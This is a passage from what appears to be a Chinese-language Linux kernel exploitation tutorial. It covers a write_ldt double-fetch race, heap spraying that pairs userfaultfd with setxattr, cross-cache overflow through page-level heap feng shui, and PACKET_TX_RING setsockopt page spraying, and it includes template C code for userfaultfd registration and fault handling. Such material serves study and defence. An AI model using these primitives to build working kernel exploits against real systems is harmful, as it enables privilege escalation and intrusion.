static int write_ldt(void __user *ptr, unsigned long bytecount, int oldmode)
{

......

old_ldt = mm->context.ldt;
old_nr_entries = old_ldt ? old_ldt->nr_entries : 0;
new_nr_entries = max(ldt_info.entry_number + 1, old_nr_entries);

error = -ENOMEM;
new_ldt = alloc_ldt_struct(new_nr_entries);
if (!new_ldt)
goto out_unlock;

if (old_ldt)
memcpy(new_ldt->entries, old_ldt->entries, old_nr_entries * LDT_ENTRY_SIZE);

new_ldt->entries[ldt_info.entry_number] = ldt;

......

}
  • 基础的逻辑为:
    • 新申请一个 ldt_struct
    • 执行 memcpy 把旧的 ldt_struct 数据拷贝到新的 ldt_struct
  • 注意最后一句 new_ldt->entries[ldt_info.entry_number] = ldt
    • ldt 是我们写入的数据
  • 通过条件竞争的方式在 memcpy 过程中将 new_ldt->entries 更改为我们的目标地址从而完成任意地址写,即 Double Fetch

userfaultfd + setxattr

userfaultfd 是 Linux 的一个系统调用,使用户可以通过自定义的页处理程序 page fault handler 在用户态处理缺页异常

setxattr 在 kernel 中可以为我们提供近乎任意大小的内核空间 object 分配

  • 调用链如下:
1
SYS_setxattr() -> path_setxattr() -> setxattr()
  • 核心代码如下:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
static long
setxattr(struct dentry *d, const char __user *name, const void __user *value,
size_t size, int flags)
{
//...
kvalue = kvmalloc(size, GFP_KERNEL); /* 分配object */
if (!kvalue)
return -ENOMEM;
if (copy_from_user(kvalue, value, size)) { /* 向内核写入内容 */

//...

kvfree(kvalue); /* 释放object */
return error;
}

那么这里 setxattr 系统调用便提供给我们这样一条调用链:

  • 在内核空间分配 object
  • 向 object 内写入内容
  • 释放分配的 object

这里的 value 和 size 都是由我们来指定的,即我们可以分配任意大小的 object 并向其中写入内容

堆占位技术就是用 setxattr 和 userfaultfd 配合使用得来的,可以在内核空间中分配任意大小的 object 并写入任意内容

在 setxattr 的执行流程,其中会调用 copy_from_user 从用户空间拷贝数据,通过这一点可以构造出如下的利用:

  • 我们通过 mmap 分配连续的两个页面:
    • 在第二个页面上启用 userfaultfd 监视
    • 在第一个页面的末尾写入我们想要的数据
  • 此时我们调用 setxattr 进行跨页面的拷贝,当 copy_from_user 拷贝到第二个页面时便会触发 userfaultfd
  • 从而让 setxattr 的执行流程卡在此处,这样这个 object 就不会被释放掉,而是可以继续参与我们接下来的利用

堆占位一般用于 UAF 漏洞,当内核产生 UAF 堆块时,可以用堆占位技术将一个 object 放入其中,之后通过 UAF 漏洞就可以操控这个 object

注册 userfaultfd 的模板如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
void register_userfault(void * addr, unsigned long len, void (*handler)(void*))
{
pthread_t thr;
struct uffdio_api ua;
struct uffdio_register ur;
long uffd = syscall(__NR_userfaultfd, O_CLOEXEC | O_NONBLOCK); /* 生成一个userfaultfd */

ua.api = UFFD_API;
ua.features = 0;
if (ioctl(uffd, UFFDIO_API, &ua) == -1){
/* 用户空间将在UFFD上使用READ/POLLIN协议 */
errExit("ioctl-UFFDIO_API");
}

ur.range.start = (unsigned long)addr;
ur.range.len = len;
ur.mode = UFFDIO_REGISTER_MODE_MISSING;
if (ioctl(uffd, UFFDIO_REGISTER, &ur) == -1){
/* 调用UFFDIO_REGISTER ioctl完成注册 */
errExit("ioctl-UFFDIO_REGISTER");
}

int s = pthread_create(&thr, NULL, handler, (void *)uffd); /* 启动一个用以进行轮询的线程uffd monitor,该线程会通过poll函数(Linux中的字符设备驱动中的一个函数)不断轮询直到出现缺页异常 */
if (s != 0) {
errExit("pthread_create");
}
}

处理函数 handler 的模板如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
void* handler(void *arg)
{
struct uffd_msg msg;
struct pollfd pollfd;
struct uffdio_copy uc;
int nready;

unsigned long uffd = (unsigned long)arg;

pollfd.fd = uffd;
pollfd.events = POLLIN;

nready = poll(&pollfd, 1, -1); /* 调用poll函数轮询直到出现缺页异常 */
if (nready != 1) {
errExit("[-] Wrong pool return value");
}

nready = read(uffd, &msg, sizeof(msg)); /* 通过userfaultfd读取缺页信息 */
if (nready <= 0) {
errExit("[-] msg error!!");
}

char *page = (char*)mmap(NULL, PAGE_SIZE, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
if (page == MAP_FAILED)
errExit("[-] mmap page error!!");

memset(page, 0, sizeof(page));

/*
...... (核心功能)
*/

uc.src = (unsigned long)page;
uc.dst = (unsigned long)msg.arg.pagefault.address & ~(PAGE_SIZE - 1);;
uc.len = PAGE_SIZE;
uc.mode = 0;
uc.copy = 0;

ioctl(uffd, UFFDIO_COPY, &uc);

return NULL;
}

cross-cache overflow + setsockopt

Cross-Cache Overflow

Cross-Cache Overflow 本质上是针对 buddy system 完成对 slub 攻击的利用手法

伙伴系统 buddy system 的机制如下:

  • 把系统中要管理的物理内存按照页面个数分为了11个组,分别对应11种大小不同的连续内存块,每组中的内存块大小都相等,且必须是2的n次幂 (Pow(2, n)),即 1, 2, 4, 8, 16, 32, 64, 128 … 1024
  • 那么系统中就存在 2^0~2^10 这么11种大小不同的内存块,对应内存块大小为 4KB ~ 4M,内核用11个链表来管理11种大小不同的内存块(这11个双向链表都存储在 free_area 中)
  • 在操作内存时,经常将这些内存块分成大小相等的两个块,分成的两个内存块被称为伙伴块,采用 “一位二进制数” 来表示它们的伙伴关系(这个 “一位二进制数” 存储在位图 bitmap 中)
  • 系统根据该位为 “0” 或位为 “1” 来决定是否使用或者分配该页面块,系统每次分配和回收伙伴块时都要对它们的伙伴位跟 “1” 进行异或运算

Cross-Cache Overflow 就是为了实现跨 kmem_cache 溢出的利用手法:

  • slub 底层逻辑是向 buddy system 请求页面后再划分成特定大小 object 返还给上层调用者
  • 但内存中用作不同 kmem_cache 的页面在内存上是有可能相邻的
  • 若我们的漏洞对象存在于页面 A,溢出目标对象存在于页面 B,且 A,B 两页面相邻,则我们便有可能实现跨越不同 kmem_cache 之间的堆溢出

Cross-Cache Overflow 需要两个 page 相邻排版,此时又需要使用另一个技术:页级堆风水

页级堆风水

页级堆风水即以内存页为粒度的内存排布方式,而内核内存页的排布对我们来说不仅未知且信息量巨大,因此这种利用手法实际上是让我们手工构造一个新的已知的页级粒度内存页排布

伙伴系统采用一个双向链表数组 free_area 来管理各个空闲块,在分配 page 时有如下的逻辑:

  • free_area 的每个条目都是一个用于管理 2^n 大小空闲块的双向链表,每个 free_area[x] 都有一个 map 位图(用于表示各个伙伴块的关系)
  • 当一个 m page 大小的空间将要被申请时,伙伴系统会首先在 free_area[n] 中查找(刚好满足条件的最小 n)
  • 如果 free_area[n] 中有合适的内存块就直接分配出去,如果没有就继续在 free_area[n+1] 中查找
  • 如果 free_area[n+1] 中有合适的内存块,就会将其均分为两份:
    • 其中一份分配出去
    • 另一个插入 free_area[n] 中
  • 如果 free_area[n+1] 中也没有合适的内存块,则重复上面的过程,如果到达 free_area 数组的末端则放弃分配
  • 如果在 bitmap 中检测到有两个伙伴块都处于空闲状态,则会进行合并,然后插入上级链表

通过伙伴系统的分配流程我们可以发现:互为伙伴块的两片内存块一定是连续的

从更高阶 order 拆分成的两份低阶 order 的连续内存页是物理连续的,由此我们可以:

  • 向 buddy system 请求两份连续的内存页
  • 释放其中一份内存页,在 vulnerable kmem_cache 上堆喷,让其取走这份内存页
  • 释放另一份内存页,在 victim kmem_cache 上堆喷,让其取走这份内存页

这样就可以保证 vulnerable kmem_cachevictim kmem_cache 就一定是连续的

如果想要完成上述操作,就需要使用 setsockopt 与 pgv 完成页级内存占位与堆风水

setsockopt + pgv

函数 setsockopt 用于任意类型,任意状态套接口的设置选项值,其函数原型如下:

1
int setsockopt( int socket, int level, int option_name,const void *option_value, size_t ption_len);
  • socket:套接字
  • level:被设置的选项的级别(如果想要在套接字级别上设置选项,就必须把 level 设置为 SOL_SOCKET)
  • option_name:指定准备设置的“选项”
  • option_value:指向存放选项值的缓冲区(用于设置所选“选项”的值)
  • ption_len:缓冲区的长度
  • 返回值:若无错误发生返回 “0”,否则返回 SOCKET_ERROR 错误(应用程序可通过 WSAGetLastError() 获取相应错误代码)

利用步骤如下:

  • 创建一个 protocol 为 PF_PACKET 的 socket
1
socket_fd = socket(AF_PACKET, SOCK_RAW, PF_PACKET);
  • 先调用 setsockoptPACKET_VERSION 设为 TPACKET_V1 / TPACKET_V2()
1
setsockopt(socket_fd, SOL_PACKET, PACKET_VERSION, &version, sizeof(version));
  • 再调用 setsockopt 提交一个 PACKET_TX_RING
1
2
3
4
5
6
req.tp_block_size = size;
req.tp_block_nr = nr;
req.tp_frame_size = 0x1000;
req.tp_frame_nr = (req.tp_block_size * req.tp_block_nr) / req.tp_frame_size;

setsockopt(socket_fd, SOL_PACKET, PACKET_TX_RING, &req, sizeof(req));

此时便存在如下调用链:

1
2
3
4
5
__sys_setsockopt()
sock->ops->setsockopt()
packet_setsockopt() // case PACKET_TX_RING ↓
packet_set_ring()
alloc_pg_vec()
  • alloc_pg_vec 中会创建一个 pgv 结构体,用以分配 tp_block_nr 份 2^order 大小的内存页,其中 ordertp_block_size 决定
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
static struct pgv *alloc_pg_vec(struct tpacket_req *req, int order)
{
unsigned int block_nr = req->tp_block_nr;
struct pgv *pg_vec;
int i;

pg_vec = kcalloc(block_nr, sizeof(struct pgv), GFP_KERNEL | __GFP_NOWARN);
if (unlikely(!pg_vec))
goto out;

for (i = 0; i < block_nr; i++) {
pg_vec[i].buffer = alloc_one_pg_vec_page(order);
if (unlikely(!pg_vec[i].buffer))
goto out_free_pgvec;
}

out:
return pg_vec;

out_free_pgvec:
free_pg_vec(pg_vec, order, block_nr);
pg_vec = NULL;
goto out;
}
  • alloc_one_pg_vec_page 中会直接调用 __get_free_pages 向 buddy system 请求内存页,因此我们可以利用该函数进行大量的页面请求

当我们耗尽 buddy system 中的 low order page 后,我们再请求的页面便都是物理连续的,因此此时我们再进行 setsockopt 便相当于获取到了一块近乎物理连续的内存:

  • 不能分配 low order page 时,程序就会从上一级的 free_area 中分配一个内存块
  • 然后等分为两个 low order page,这两个 low order page 就是物理连续的
  • setsockopt 的流程中同样会分配大量我们不需要的结构体,从而消耗 buddy system 的部分页面,产生“噪声”

具体的操作就是利用 setsockopt 申请大量的 1 page 内存块,部分 setsockopt 用于耗尽 low order page,而剩下的就有几率成为连续内存